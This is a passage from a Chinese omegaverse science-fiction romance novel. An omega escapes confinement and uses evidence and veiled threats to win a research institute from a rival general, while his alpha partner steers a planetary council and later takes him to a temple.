时与很难想象他这又是哪儿冒出来的梦话,外骨骼漆黑的甲片已经爬上她的身体,她微弯腰,面甲打开,鼻尖轻轻蹭了蹭江鹤吟的脸。 像是动物之间通过气味确定同伴是否处在正常的状态,时与给出处方:“少睡点吧,开始胡说八道了。” 江鹤吟脸向后挤,脚步却向前,等时与重新站直时他便搂住身前机甲漆黑硌人的腰,踮起脚在她嘴角亲了一下。 温暖的体温几乎要穿过中间障碍,柔软的触感不用接触也能在大脑里模拟出来,江鹤吟说:“好吧,我不睡了,但是祝你晚安。” 面甲没有闭合,时与说:“晚安。” 她咬了下江鹤吟的耳垂,估计没收力,尖牙犬齿咬在上面好像个打孔器。 江鹤吟得了饶恕,这时候又敢娇气了,他叫一声,听到时与在他耳边留下一点轻盈的笑。 她很快湮没在一片夜色里。 江鹤吟也关上灯,但没有去动刚刚拉开的窗帘,就一直撑着头向外面看——其实根本不知道时与去了哪儿,只是对着这个大致的方向发呆。 最近与时与见面的频率其实还算很高,从长途跋涉的星海之间回来,他们相见最多也不过是隔着一天……或者两天?即使这样他都会觉得不安,那么低劣的圈套都能骗到他,要让他留在这里等她一等等将近一个月,这怎么可能,他肯定要变成个不可理喻的笨蛋。 现在的时间是……? 他把下巴搭在胳膊上,荧光在眼睛里一闪。现在的时间还不算晚,不过母亲应该要休息了,姐姐可能还有一些事情想处理,不知道不确定,他深深吸气,编辑起一封长长的信件,写明整件事情的前因后果,郑重其事道歉。 脑内回想最近的事,他又翻找出别的联系人,郑重递上自己约见的函件。 —— 道歉的信息发出像羽毛落进森林没有声息,他依旧被关着,一直到又在房间里吃完了两顿饭,江鸢那边也依然没有动静。 他把门内的锁打开,将两扇厚重的大门拉开一道缝隙,外面很快“啪”地伸出一只手臂拦住他,有点滑稽,像是停车场门口的升降杆。 可惜这个不能付款后打开,江鹤吟问:“你们要在这里多久?” 守卫说:“小姐说您不能出去。” 江鹤吟顿住,提气:“那让人进来给我梳妆,还有打扫一下房间,我不想自己做,这个可以吗?” 守卫:“请允许我请示。” 江鹤吟关上门并无异议。 他习惯这些流程,从他小时候记事起,家里就有很多一些这样一板一眼、满身煞气的人,开始是母亲的下属或者卫兵之类,后来就都是姐姐安排来的,差不多就是这样,他犯了错,然后有人来照管,他不会挨打,仅仅是限制一下自由,因为做到这种程度omega就已经会选择乖乖听话。 不过派这些人来看管一个柔弱omega是不是有些太屈才?江鹤吟舔舔嘴唇坐到化妆间里,默数到二百五十四,果然听见外面传来开门声,有佣人打开门走进来。 佣人们与他同样,大都是精致纤细的omega,他们行动间几乎没有声响,面上也都是一如往常的平静,别说是与这种身边人交朋友,这些家伙几乎都没什么活人气,其实如果真要说起来,江鹤吟觉得他们更像是房间里可以移动的家具。 柔嫩的手抚摸过他的头发,他坐在那儿耐心地任人给他梳洗打扮,像个漂亮乖巧的娃娃,身后的人动作很快,将小小的光点地图递到他手里。 江鹤吟不声不响将它藏在袖口。 房间里没有多乱,只是有些东西活动后没有复位,佣人们麻利收拾好了屋子和江鹤吟本人,然后恭敬地退出去。 江鹤吟端坐在房间里,看着那个地图检查情况,又打开光脑下滑,重新查看先前的消息。 兰利是大法官家的孩子,但就像是江鹤吟不适合从军,兰利也显然是很难子承母业,如今看来这家伙根本不会明辨是非,重看一遍他的威胁还是觉得很荒谬。 他还想跟时与走呢,时与身上的麻烦够多了,本来已经把这件事全都交给姐姐,但仔细一想的话姐姐未必就会和omega一般见识,兰利威胁的那点、想来只会影响到时与名誉的小小起诉估计不会去管。 可恶,话是这样,但他不想让母亲听到这种消息。 兰利那边估计讲不通,他只好越过他很没品地去找了家长——感谢江家这了不起的家世,很多人都愿意花点时间听他说说话,哪怕他只是个没用的omega。 他又看了一遍大法官的回复,离约定的时间还有一个下午。手中地图上光点闪烁,庄园里的守卫按照规定的路线有条不紊的巡逻,爸爸好像是在花园坐着,不知道是画画还是与人交谈,总之一直没动过。 没必要走门走窗和人硬来,他有自己的老鼠洞可以钻,壁画后是一个逃生通道,和家里那间小黑屋一样建造的十分多余,可能是先前还混乱的年间用的,原本一直有厚重的密码锁和防盗门堵着,可惜被他这种小老鼠磨了好几年,复制了几把钥匙成了窝。 他打量了一下自己的妆容,从首饰盒里翻出一条奇形怪状的项链,吊坠是两个银色的齿轮。 —— 耳垂上的吊坠反射出细碎的银光,江鹤吟不太喜欢这种看起来有点麻烦的首饰,可惜omega要表现的正式只能这样。 这里的人不少,他端庄地行走,时与咬过的地方还有牙印吗?江鹤吟走神,歪头扶一扶耳朵。 估计是没有,因为刚才佣人们给他打扮时表现的一切正常。 他的气场弱弱的,仿佛十分温驯,对面前的女人行礼,对方看着也和气,没有刁难他的意思。 江鹤吟说:“首先想向您道歉,因为我的事让兰利遇到危险。” 大法官摇头:“错不在你,这件事倒确实是有些alpha做得过分了些。” 这话说的含糊,不知道alpha指的是哪一位。 兰利是家里受宠的小孩,带了伤回来又哭又闹,当然会引起长辈的怜惜。 大法官其实隐约能猜到他想来谈这个事,心中略有不满,但想来只有江鹤吟愿意为这事出面,估计江家也不那么重视,就只是omega之间无聊的小把戏。 她说:“您不必担忧,有些事我们长辈自然会处理。” “是呀,是呀,”江鹤吟有些难过地撑起脸,“我也没想到……塞西尔将军竟然会做出这种事。” 他转过头看面前的女人,漂亮的眼睛里很快莹出水光,泫然欲泣:“这可真是难以启齿,乔伊斯阁下,我受了很严重的伤,但是兰利的情况也……不知道他有没有告诉您,我想他向来性子倔强,他和我的情况几乎是一样的。” 大法官皱眉,江鹤吟却好像话很多,他嘟嘟囔囔仍在继续。 “正巧我这里找到当时的一些片段,我想我应该和兰利一起将塞西尔起诉,这或许能作为证据,您觉得呢?”他柔弱叹气,然后向面前这女人请教似的发问。 他在大法官的地界,身边没有一个保镖跟随,耳朵上的吊坠微晃,面前浮现出一块半透明的小小屏幕。未等女人再说什么,那屏幕上已经活动起两个人影,只看到其中一个几乎没有反抗之力,而另一个伸出手掐住了对方的脖子,动作凶狠,画面微弱的声音通过空气传过去。 江鹤吟说:“我很笨,看不懂很多法律,但这都要怪在塞西尔身上,对吧,乔伊斯女士?” 江鹤吟说:“您看看,我把这段记录给姐姐看的时候她也这么说,大家都对塞西尔阁下很生气。” 第53章 第 53 章 哎呀各位啊,我有一事相…… 兰利显然并没有将这些具体的、完整的经过告诉他的母亲。 “说来我还不太清楚他那是带我们去了什么地方……” 江鹤吟像是个没见过世面的omega那样一边放映一边絮絮叨叨,“这还是塞西尔将军主动要录的,开始还以为是为了我们……哎呀,那个录像的设备还是在姐姐手里,我只来得及留下这一点。” “真是感谢您愿意花时间听我解释,有些事我自己说出来都觉得很荒谬,”这视频确实不完整,背景音里还能听到塞西尔毫无诚意的劝架,江鹤吟面上带了愁容,“您如果不信也没关系,可以去问我的姐姐,也可以问我的母亲,完整的视频在她们手里。” 话说完,这段截断的视频也就停止,他已收起手,垂着眼睛不去看乔伊斯,而实际上这位大法官表情也确实没有什么变化,只是眼睛里冒出一点打量他的意思。 倒是很久没轮到她被人敲敲打打。 她表现的若无其事,对江鹤吟露出一个和善又安慰的笑,看不见这视频是究竟什么内容似的,好似里头真是塞西尔在作恶。她语气中有一丝怜惜,好言好语道:“是啊,当然如您所愿。” 江鹤吟对她露出个笑容来:“那太好了,我相信您一定会公正对待。” 他话语中还有些不谙世事的天真意味,这时候又像个听话可爱的omega了,他身体向前倾,脖子上的吊坠打在桌面上发出轻声脆响,全然信赖她似的又为她倒茶。 大法官默不作声地接下,叹气道:“这事兰利也有错,我将他关起来了……这几天只顾着在家里吵闹,真是的,你愿意去帮我劝劝他吗?” 她说:“毕竟我记得你们是很好的朋友啊。” “乔伊斯阁下,太不巧了。” 江鹤吟才不想去看兰利,要说也是对方理亏,他去上门算什么呢。 他说:“我一直觉得这件事可能有误会,接下来我还要再去探望一下塞西尔阁下,改日会再去上门拜见的,今天真是不好意思。” —— 时与坐在苏兰亭身边。 她第一次以这样端正的心态来听这样一个看上去与她毫无关系的会议,会议上每个人的发言从原本应该被忽略的嗡嗡嗡嗡背景音转换成完整的句子,穿过她的耳朵被听进脑子里去。 诸位与会者各司其职,他们说起财政、医疗、基建等等各种与他们自己家族相关的领域,第八星也相对的回复以合适的条件,情投意合、你来我往,一时间竟然叫人嗅出其乐融融的味道。 江鸢和苏兰亭一样,只是听,她们不需要参与过程中的争论,只需要等到最后决策拍板,不过江鸢今天状态有点一般,眼神偶尔向时与身上游移,脑中考虑的不像是会议的内容,更像是出神想别的事。 时与对这个很敏感,她眼神一向这边偏,时与就立刻看过去,黑洞洞的眼睛与她对上视线,来来回回,到最后反倒是江鸢先抿紧了唇,露出个厌恶的表情来。 时与好想笑,很显然江鸢不如她的弟弟可爱,但也挺有趣,反正是很好玩。 她想笑就笑了,盈盈的笑意传递给江鸢的眼睛,顺便还对她眨眨眼,成功把对方恶心的一颤。 会议还在继续,合作的内容还没讲完,有人便忽然有意无意提出最终负责人的事情来,参会的显然都能闻弦歌而知雅意,一人提起,之后的人便也配合着,话题逐渐向着这位未知的负责人的方向偏转。 这事上次宴会上已经有人暗自提起过,只不过几个家族当时就没争出个所以然,江家也不知道是什么态度,仅仅是站在漩涡旁边看。 时与好想打个呵欠,但又想听,秘书都在在场这俩大人物身后,她没得用,只好偷偷恨这边没人给自己记个会议纪要,人哪能用这么长时间做这种从废话里提取关键词的事,简直是苦痛折磨。 江鸢也没在听,见时与撑住头开始看这张长桌的木质纹理,倒像是很老实,但心中又不自觉想起她先前那番凶悍表现。 江鹤吟已经为她澄清了两次,然而这没用,她还是不太喜欢这人,alpha才知道alpha有多危险,她怎么想都不能放心,柔弱的弟弟怎么能孤身和这样阴晴不定的家伙在一起。 母亲那边倒真是撒手掌柜,竟对这事不做置评,她甚至为此和母亲都吵了架,想起来就窝火的很。 江鸢低下头揉了揉太阳穴,怀疑自己最近是被江鹤吟占去了太多心力,脑子都有点不好使,想这想那,简直有病。 她抬起眼皮,时与好像心情很好,又微笑,飞了个wink给她。 江鸢:…… 身边的声音不间断的响起,二星的人还在争最后负责人的归属,一张张嘴叭叭个不停,倒也不吵不乱,就是听着心烦。 她按着太阳穴,忽然听到时与开了口。 时与说话不咸不淡,似乎就是突然想到什么就说了似的,有点像是对他们显然那一套丝滑表演的评判。 她说:“诸位已经各有负责的领域,再管更多的事我真担心后续会推脱说‘心有余力不足’。” 有人道:“怎么会,这样的事请您放心,当然不会发生。” “是啊,我们自然会全力以赴,不必因此忧心。” 时与听着仿佛耳旁风,身体向后倚,双掌交叉起来,她说:“请别误会,我看众人并没有争出个所以然,其实也不用争论太多,这事情多简单,当然还是指挥官家里的人负责更让人安心,不是吗?” 没等别人再说话,她转过头,一双眼睛看着江鸢:“不知道您那边有什么想法。” 偌大会议室内变得有些安静,江鸢问:“什么意思?” 像是商量好似的,时与没说话,苏兰亭那边倒是开了尊口。 “我们想要更好的合作,您知道,第三星已经确定是谢米尔主持,第二星江家出人才是正理。” 她语调轻松,甚至称得上笑意吟吟:“自然,江小将军是分不开身的,但我听说您还有一位弟弟,我想这职位正是个合适的磨炼机会,年轻人就要多试一试。” 江鸢没说话,另外却已经有人开了口:“苏将军或许没注意,那是位柔弱的omega啦!放在这样重要的位置上显然是不合适的。” “是啊是啊。” 室内响起一阵赔笑和劝导的嗡嗡声,江鸢不看时与了,她盯着苏兰亭,苏兰亭也回望她,偏了偏头,似是问她有什么迟疑。 这显然是件该应下的好事,要说起来江家算是从军从政的一拨人,手下并没有那么多的实体产业,去第八星不说捞到什么好处,光说约束这群各怀鬼胎的家族,拓展一下权力的根须,牢固一下声望也都很值得一提。 江鸢说:“我的弟弟是一名omega。” 苏兰亭:“我们第八星不讲究这个,不出意外的话,我们未来派来的工程师omega也要占到半数,甚至驻扎的负责人可能也是o。” 苏兰亭说:“我们得清楚到底是与谁合作,事实上,我们更看重另一点——您的弟弟也姓江,这更重要点,不是吗?” 洁白干净的房间之外是明媚的阳光,微风吹过,枝头树叶摇曳,闲适的云把这几乎凝固的时间变成一副风景画,可惜漂亮的风景画描绘不出室内alpha暴躁的心情。 江鹤吟声音理直气壮,似乎对他的问题不太能理解,他说:“我能进来当然是因为我姓江呀,您这问题真是奇怪,我也算是军部的高权限成员。” 他还是那身漂亮的装扮,见了乔伊斯后也真的来塞西尔的病房探望,甚至带了些小礼品,此时已经放在塞西尔床头。 他与塞西尔隔了二十步远,进来便老实坐进病房里的会客区,塞西尔身上的伤已经好了个大概,可惜脸上的伤却不是在医疗舱随便躺躺就行的——毕竟他也不想让自己的脸恢复成一些随机的样子,只能保守治疗,估计还要再进行很长一段时间。 他脸上缠着厚厚的绷带,像个只死了半截的木乃伊,牙齿还没重新建构,嘴巴里还是义齿,被江鹤吟扫了一眼便已经觉得恼怒直冲颅顶,简直想尖叫,如果不是忌惮江鹤吟身后可能跟着的护卫,他早就要扔点什么把这可恶的omega赶出去。 江鹤吟看着他这幅难看的样子,又想起第八星那个同样缺牙的拜森,忽然有点可惜科技在alpha的牙齿上下的功夫,觉得时间和精力用在研究这东西上面实在浪费。 他语气温婉:“塞西尔少将,您别生气,我是来看望您。” “都是时与做事太冲动了,我知道你当初也是好心为我出头的,闹成现在这样真是对不起。” omega都怕事,他像是有些真心,塞西尔眯起眼睛却依然不语,然而很快他就知道omega是来示威。 江鹤吟说:“您考虑的真的很周全,那小监视器我送到姐姐那儿了,姐姐看完说那beta应该没什么问题,是我太敏感了,这真是太连累您了。” ……那个监视器! “大法官也这么说……”江鹤吟眼疾手快按了身边的按钮,一个拘束环忽然冒出来,扯住塞西尔输液的手,塞西尔被扯得一个踉跄,只觉得气得肺都要炸开,一连串咒骂从喉咙里发出。 江鹤吟说:“您别这么激动呀,我是有事想求您。” 第54章 第 54 章 翅膀微硬,开始攻击人类…… “你之前给我吃了点不太好的东西,但是这种药好像在市场上并不流通。” 江鹤吟看他手腕上那个皮制的束缚带,见他只是手背上爆出了青筋,在那暗自挣了几下都没挣开,觉得有点好笑。 塞西尔一副吃了憋很快就要发火的样子,但一番动作后手却仍然被牢牢的固定住,身上的输液针插在皮肉里,位移很小,甚至都不用他重新找人来帮他处理。 还挺好用,不知道是谁发明的这小玩意,有点损,但他也想要一个,肯定很刺激。 江鹤吟就这么看着他,在原地动也不动地坐着,塞西尔也只是激动了一瞬,很快便自己冷静下来。 此时他身上已经没了惯常表现出来的那种风度翩翩,alpha森冷的目光注视着江鹤吟,按理来说江鹤吟应该觉得不安,但是他也明白这位alpha估计和他一样,此刻都是虚张声势的成分多一些,身上抑制贴等等又把他保护的密不透风,叫他得以在这里继续趾高气扬的打劫。 他说:“我自己也正在读医学的专业,可能学艺还不精,便拜托了家里人,不过他们也没有查到这算是哪种药品,只知道成分很自然,对身体也无害,甚至能很快代谢出去。” 他说:“我听说您手下有一个研究所,与生物遗传和制药等等都有关。” 塞西尔:“那又怎么样?” 江鹤吟:“转给我吧。” 本以为会听到什么阴阳怪气的控诉,塞西尔也不介意和omega打打嘴仗,但江鹤吟这话一出口,塞西尔几乎以为自己听错了,江鹤吟这四个字说得好轻快,稳当当在原处坐着,丝毫不觉得自己是提了什么离谱的条件。 塞西尔几乎气笑了,也就是脸被包得严实,不然不知面色该有多阴沉。 “转给你?”他口气不太高兴地弓下身体,空气中侵略性的信息素自周身散开,若有似无,吐出的三个字语调阴阳怪气。 江鹤吟与他离得远,向后挪挪身体,神态姿势却仍是理直气壮,他眨眼,提示道:“我与大法官还在考虑起诉您。” “但是想来您也不会做这么坏的事,其中肯定是还有误会的,您真的不愿意和我聊一聊吗?我记得您家里还有一位哥哥一位妹妹,都是alpha吧,您拒绝和我交谈的话我也可能再去找他们。” 他话说得客气,表情也真诚,只有眼睛里冒着闪耀的、敲诈勒索的光辉。 塞西尔面颊上的肌肉都绷起来,剩下的牙齿都想咬碎,他知道现在出于保护两位omega隐私的原因这事还没抖出去,自家兄妹原本就虎视眈眈,自然不能让家里人拿到他这样的把柄。 江鹤吟说:“我只是觉得这个方向对我很有用……我有一些闲钱,养一个研究所还是绰绰有余,肯定不会让您的心血枯萎凋零,当然如果您不放心的话也可以继续投资扶植啦,这要看您。” 塞西尔微垂着头,眸光阴冷,江鹤吟却似无所觉,仍旧是那样不谙世事的天真样子,甚至还对他笑:“您真小气,给我一点补偿换自己的前程和平安不是很划算吗?” 他说:“一个每年都要吃钱的研究所,换江家以及大法官将这件事干干脆脆忘记,干嘛这么犹豫呀?” “对不对,答应的话帮我瞧瞧,我什么时候去参观一下比较合适。”他想了想,“唔,今天不好,两三天以后怎么样?我猜那个时候我会有空。” —— 时与跟在苏兰亭身边从会议室中走出。周围不断有目光扫过来,她懒得抬头,老神在在揣着手,莫名有了一种上班的无趣感和淡淡死意。 无聊的气氛笼罩周身,她正考虑要不要偷偷来一盘小游戏,脑机中江鹤吟的消息便适时弹出来,他发来几张相当可爱的表情,小鸟甩头一闪一闪。 江鹤吟问她:[你有没有空呀,要不要出来玩?] 时与这才终于抬起头睁眼,越过苏兰亭,看到第二星那位不苟言笑的江鸢——与往常没什么变化,脚步不疾不徐。 时与:[又是偷跑出来的?] 江鹤吟:[可能算是?不过刚才我的个人信息有变动,他们应该知道我跑了。] 时与:[你在哪儿?] 江鹤吟:(地址信息.gpx) 时与看着那个位置,导入到地图里看了一眼。她不熟悉第二星各处的地理情况,不过退出去半分钟不回信,江鹤吟那边就轰炸似的又发来一些无意义的、可怜巴巴的表情。 麻烦的坏家伙,时与又没说不陪他,她对江鹤吟说:[你得等我一会儿。] 江鹤吟:(小鸟跳舞.gif) 江鹤吟:[耶!我知道有有趣的地方!我好久之前就想和别人一起去!] 江鹤吟:(抖擞羽毛鸟亲亲.gif) 总觉得江鹤吟又比先前更活泼了几分,好像回到他刚到第八星那几天,话里话外是缠着时与陪他玩的意思,对什么东西都有一股兴奋劲儿。 时与的心情也跟着莫名轻快,该商量的事早就商量好,她自然是没有任何加班的道理,打了声招呼便脱离队伍往他的方向去。 没人对此有异议,她坐上车,江鹤吟那边很快就滴滴哒哒发过来一句又一句破碎的小话,东一榔头西一棒槌,从家里不让他出来说到小时候吃过很好吃的斋饭但忘了具体的位置。 时与撑着头一边回复他的问题,一边也半阖着眼睛休息,江鹤吟问:[你到哪里啦?] 时与:[半路。] 江鹤吟:[我看到周围有甜品,你吃不吃?] 时与:[不吃。] 江鹤吟:[你要几份呀?] 时与:[一份。] 真冤枉,她也不算乱回,怎么成了敷衍,江鹤吟竟然反过头骂她。时与笑起来,一向好用的鼻子有点失灵,从空气中嗅到不存在的橙花香味。 要安排个从没想过的人进入自己的未来果然要打乱很多原有的安排,江鹤吟像个毛手毛脚跳到桌子上的猫,或有意或无意地伸爪扫尾,把桌上摆放整齐的各种想法和打算推到桌下去。 收拾起来很麻烦,但他样子很可爱,又好像满脸委屈已经知道错误,时与只好放过他,让他到别处玩,又把桌子上碎掉的东西重新换新。 所幸换掉的新东西依然整洁漂亮。 外面的风景在变化,逐渐不再是那些流光溢彩的、了不得的高楼大厦,建筑逐渐低矮,露出头顶湛蓝的天幕,显现出一点古老的韵味来。 下车后外面的人群仍是第二星式的熙熙攘攘,时与踏在木石相接的地面上向四周看,道旁有潺潺的流水声。这好像算个宗教场所,有些店铺在卖不知道有什么用处的东西,她随便找了个位置坐下,等着江鹤吟自己出来。 果然身后很快传来鬼鬼祟祟的脚步声,时与假装听不到,甚至微微低下头、闭上眼睛。 江鹤吟可不管她有没有发现,只记得在第八星的时候时与就这么吓唬他,他像个捕食的老虎,从身后猛地扑到时与背后,在她耳边“啊”地叫一声。 他叫“啊!”,时与也跟着叫“啊!”,非常配合地被他吓了一跳。 江鹤吟挂在她脖子上,见她先是憋着抿了抿嘴,最后好像没忍住,还是哈哈笑起来。 江鹤吟:“好烦啊,你笑什么。” 时与说:“好傻啊哈哈哈哈哈哈!” 她不记得自己笑点有这么低,江鹤吟“切”一声,还趴在她身后,脑袋搭在她肩膀上用下巴戳她,很痒。时与有时候也会觉得自己审美很老年,比如现在,她按住江鹤吟的头来回搓,擦手似的,被江鹤吟又锤了几拳。 她说:“你怎么这么瘦啊,你也太瘦了,应该多吃饭,下巴戳的我好疼。” 江鹤吟:“你混蛋!!我头发乱了啊!!头发!!” 时与松手,江鹤吟从她身后绕出来,坐到她身边又对她呲牙,时与投降,老实帮他顺刚刚被她揉出来的一团鸡窝。 他身上还是很香,打扮得复杂又整齐,高高的领子叠起一层又一层的装饰,像个小铠甲,也像礼物外面麻烦的包装盒——包得这么严实明明应该闻不到多少味道才对。时与觉得这都是标记的错,AO在一起就会这样,自己只能不自觉的越来越喜欢他,竟然都发展成……呃,这叫什么?幻嗅症? 她凑近江鹤吟的耳朵,鼻尖蹭到一缕银丝一样冰凉的银发,微微张口,没等她咬下去,江鹤吟就不知从哪变出个饼干嗖一下塞到她嘴里,一套流畅的小动作叫时与茫然愣了半秒。 她叼着饼干重新坐直,脑袋短路了似的嚼嚼嚼,没说话,但手上动作也没停,还在不停地帮他理顺刚刚被她揉乱的长发。 饼干咽下去,她张口,江鹤吟又立刻往她嘴里塞过来一块。 时与:“……” 时与:“我怎么觉得我好像个垃圾桶。” 她咽的快,江鹤吟见状还要再给她塞,然而这次手刚伸过来就被时与抓住了手腕。她略有点无语,侧过脸先在他掌侧咬了一下,听到江鹤吟叫痛才松口,留下个浅浅的的牙印,然后才叼走他指尖那块做得像花朵一样精致美丽的小点心。 江鹤吟看看自己的手:“你这是不是想骂我……” 垃圾桶只吃垃圾来着。 时与笑死了。 江鹤吟的头发非常顺滑,方才只被她弄乱了一点,再梳回去很容易。 时夏以前也留过长发,家政机器还特地选了辅助洗浴的款式,然而后来发现即使有各种辅助手法,想更好看更精致的去上班也至少得每天早起五分钟梳头,恨了好久才最终选择剪成短发的样子。 后勤上工作的时间很长,他保持短发很久,连各种证件的照片都几乎被短发覆盖掉,长发消失无踪,唯有时与身上还带着点当初被训练过的痕迹——她摘了江鹤吟身上的头饰,给他盘了个简单又漂亮的发型。 alpha竟然还会做这个。 江鹤吟“喔”了一声,来回照一照,觉得很不错,原谅时与三秒。 —— 很多东西能流传很久活到很长,比如习俗、文化、制度,再有就是宗教。 不知道是否虔诚,但第二星的民众在这里来来往往,时与和江鹤吟顺着人流往里走,见到里面古朴的、相对低矮的建筑,青瓦石墙,角落是彩色的玻璃拼接出的复杂图案。 也不知道原型到底是来自于哪里,宗教们一代代融合又改良,知道这些原型教义的人越来越少,中间甚至有过断代,唯有两点功能得以稳定的继承和发展——这里依然是人类心灵和心愿的寄托之地,树枝和围栏上挂着游人香客许下的心愿,实体版本,当然多花点钱的话也可以和别人一起在附近屏幕上滚动播放三十天,祈福的心愿池允许转账,转越多心越纯。 时与走在江鹤吟的身边,跟着他求签许愿外加到处拜拜。 江鹤吟也并不虔诚,只是进来花了点小钱,写的实体心愿单,雕像前许愿用的是意念,最后都没要闪耀电子版。 时与更不虔诚,甚至没许愿。 离开堂前的地界还有一座后山,后山有些太追求原始,泥土路,边缘是木栅栏,两人踏进去慢悠悠地转。泥土会脏到衣服和鞋子,因此这里就没了那种游人如织的景象,越往前人越少,江鹤吟忽然问她:“你觉得会很顺利吗?” 时与:“已经挺顺利了。” “我其实有点担心……”江鹤吟慢悠悠挪到她身边,勾过她的胳膊,仿佛是穿外套一样把自己穿进她怀里,声音轻飘飘地消失在风中,“至少四颗主星的合作……其实很重要吧,我觉得我做不好……” 时与:“呃,外派到第八星……按照我的经验来看,那个位置就算绑个狗也能顺利进行下去。” 江鹤吟:“你是不是又骂我?” 时与又开始笑,她弯着腰贴在江鹤吟身上,像块很难甩掉的牛皮糖或者背胶很黏的小广告,把脸埋在他的肩上,她说:“不用担心。” 后山四季都有盛开的花卉,风一吹就是飘洒纷扬的落花,有的掉在地上,有的落进一边流动的溪水里,绕着其中某某某许愿的消息打转。 “但是我从来没接触过这个。” 江鹤吟还是觉得很有压力,做这次合作的第二星方面的主负责人……当然啦,他还没成功,但其实也隐约觉得十拿九稳。 ——家里人会支持他,因为这无论对家里还是对他本人来说都很好,甚至第八星都不会反对,只要他少贪点或者胳膊肘稍微往外拐一拐,他们那边也同样能从中拿到便宜。 他这是自己提前觉得发愁,而且真情实感。 他说:“我甚至……我第一次见到的盖章的东西就是发给你的会议文件,一下子就负责这么多,我把事情搞砸了怎么办?” 时与歪歪头,见他的表情已经难过的皱起来,想说理解他的想法,但又觉得好像没有什么安慰的必要,她说:“江鹤吟。” “嗯?” alpha开始提条件:“亲我一下我就开导你。” 江鹤吟看着她的脸,表情更皱,这次可没真听话的去亲她,他翅膀硬了,张嘴去咬她的鼻子。 时与只好紧急撤退,她又感慨:“我的天,大王八。” 时与揉揉鼻子,见江鹤吟撇着嘴磨磨蹭蹭凑过来,样子仿佛还有一点不满,但还是抬起头亲她的脸颊,发出很标准的“叭”一声响。 时与挑眉,略享受地亲回去,她说:“你大可以放心,不用盯着这些小事发愁,你家里肯定不可能让你一个人来……琐事确实是最麻烦的,但这种责任不会落在你身上,你最需要的是平衡好你们那边,嗯,也不用太……只要别太失衡。” 江鹤吟说:“反正就是有点担心。” “如果……我是说如果,如果我做的不好,第八星会有什么影响?” 时与:“没什么影响啊,第八星已经烂爆了,你们这算是输入,做什么都要叫稳中向好。” 江鹤吟:“耶?” 时与:“哈哈哈哈哈哈。” 她抓住江鹤吟的手,把两人的手都往江鹤吟的口袋里揣,江鹤吟被她搂着,也不知道她是哪里学来的样式,两个人像下课打闹的小混混贴在一起,看着格外的亲近。 鼻子里骤然撞进alpha身上暖洋洋的味道,他抬头,紧接着又被时与啃了一下下巴,江鹤吟瞬间觉得脸红。 ……幸亏附近没人。 江鹤吟自己主动的时候可不会这么不好意思,时与说:“往差里想,负责人这里栓条狗每天盖爪印都没事,不过往好处说的话——我觉得你能做的很好。” “哎呀,你刚才许了什么愿望?”时与蹭蹭他的脸颊,看向他的眼神里带着笑,她说,“我没许愿诶,这个愿望名额转让给你用好不好?” 江鹤吟说:“可以,但是我不能告诉你,说出来不灵。” 时与:“怎么有这种讲究,我其实还准备帮你投影在大屏幕上。” 那也太丢人了。 江鹤吟想想那场景觉得不好意思,双颊鼓起来往外吹气,像儿童动画片里生气会把自己吹成气球的河豚,时与伸手戳一戳,从他身后走开。 口袋里包裹双手的热意一下子抽出去,江鹤吟扭头去看她,见她真跑到路边的小溪流那里。 水流中央是一整块异形的屏幕,屏幕伪装成最普通的河道,仿佛是深色的河沙和卵石,只是偶尔有深色的字体溜过去,间或也有红的,不注意看还会以为是普通的鱼或者锦鲤。 时与当真花了点钱,江鹤吟走过来只见到一片红色的字体正往下漂,定睛一看写的是“江鹤吟愿望+1”。 他倒吸一口凉气,去捶时与的肩:“好土!而且怎么不庄重!” 时与说:“那怎么办嘛,我们第八星就是乡下啦。” 时与说:“难道你想让我写‘祝江鹤吟心想事成万事如意’?更土诶,像拜年。” 江鹤吟又打她,拿头去撞她的背,吆吆喝喝地小声尖叫,然而打着打着也自己忍不住“嗤”了一声,心头那点莫名其妙的担忧当真略微消退。 他又抱住时与,抽过时与的手让她也抱自己,闷了吧唧问:“你们第八星有这种地方吗?” 时与:“有吧?我不知道啊。” 江鹤吟:“到时候带我去还愿好不好?” 江鹤吟说:“我觉得真的能万事如意诶。” 第55章 第 55 章 呔!来玩! 江鹤吟已经进入成年期很久,算是个大人了,但这还是他人生第一次踏进母亲的办公室。 办公室和他想象的差不多,暗色的家具、超多的文件,看着有点像家里的书房,但实际又好像比家里的书房还要更小一点。母亲坐在桌前,身边站着一位江鹤吟见过不少次的熟人,有点像是秘书——或者应该叫副官?不确定,他一般叫对方小秦将军。 小秦将军很和善,见他进来,先微笑同他打了声招呼,然后便收了手里的东西,一声不吭向门外走,将室内的空间留给他们母子二人。 没了别人,房间里一片安静,江鹤吟目送她出去,这时候倒开始紧张了,他站在指挥官身前,想背过手聆听教诲,又觉得是不是那样做不太对,没等他想明白手脚应该怎么放,江图南就先开了口。 她问:“你生病了,休息的怎么样?” 江鹤吟:“啊……很好!” 不知道她现在是想做指挥官多一点,还是说看着自己这个小儿子的时候想做母亲的心更多一点,总之江鹤吟就老老实实站着,问什么答什么,和小时候被母亲突如其来关心时如坐针毡的状态别无二致。 江图南问:“我最近听到一个提案,我猜你并不是对此一无所知,你想去第八星,考虑好了么,还是说只是为了那个alpha就什么都不顾了?” 母亲果然是来对自己说这件事。 “我想好了的。” 江鹤吟一点都没反驳,甚至也没装作糊涂的样子让母亲再说明白点,就这么很直接地承认了自己的“知情”和“想去”。 他最终还是背过手,微微低头:“先前去那里可能并没有直面到所有危险和困难,但是也算是看到了第八星大致的样子,我有提前去了解第八星的情况,都说那儿很差劲,但我觉得我可以接受那里的环境,并且能做的不错。” 江图南:“嗯。” “母亲,我其实没有想骗您,alpha……时与确实是我想去的一个原因没错,但我不觉得我做的很冲动,有她在我的工作进展会更顺利,生活也更安全……而且我不想只在第二星,我想出去多看看。” 他话语不停,很费劲地从脑子里扒拉出各种好听的理由,说完都不敢看人。 江图南对家里的孩子向来满家撒着散养,她看着江鹤吟,忽然发现自己和这个小儿子相处的时间很少,要说的话江鸢带他的时间反倒是更多一些,作为母亲对这个孩子并没有多了解。 她想起先前和他的一些简短的、浮于表面的交流,江鹤吟说话一直不疾不徐条理清晰,想做什么也很明显,意图从不藏着掖着。她的伴侣倒是偶尔说起来,说这个家伙是个让人操心的小傻子,但是她可从来不这么觉得,只隐隐觉得女儿和儿子都很像自己,也不介意给江鹤吟一点超出第二星omega范围的自由。 她问:“你从塞西尔手里拿了个研究所,要这个做什么?” 研究所当然是要给时与那倒霉的精神体变异做研究用的,生物遗传、制药……他从听到就觉得方向太合适了,他非得想办法亲到时与的嘴不可。 然而这种大事江鹤吟显然还不能随便透露,他说:“就想让您知道我不是特别笨蛋。” 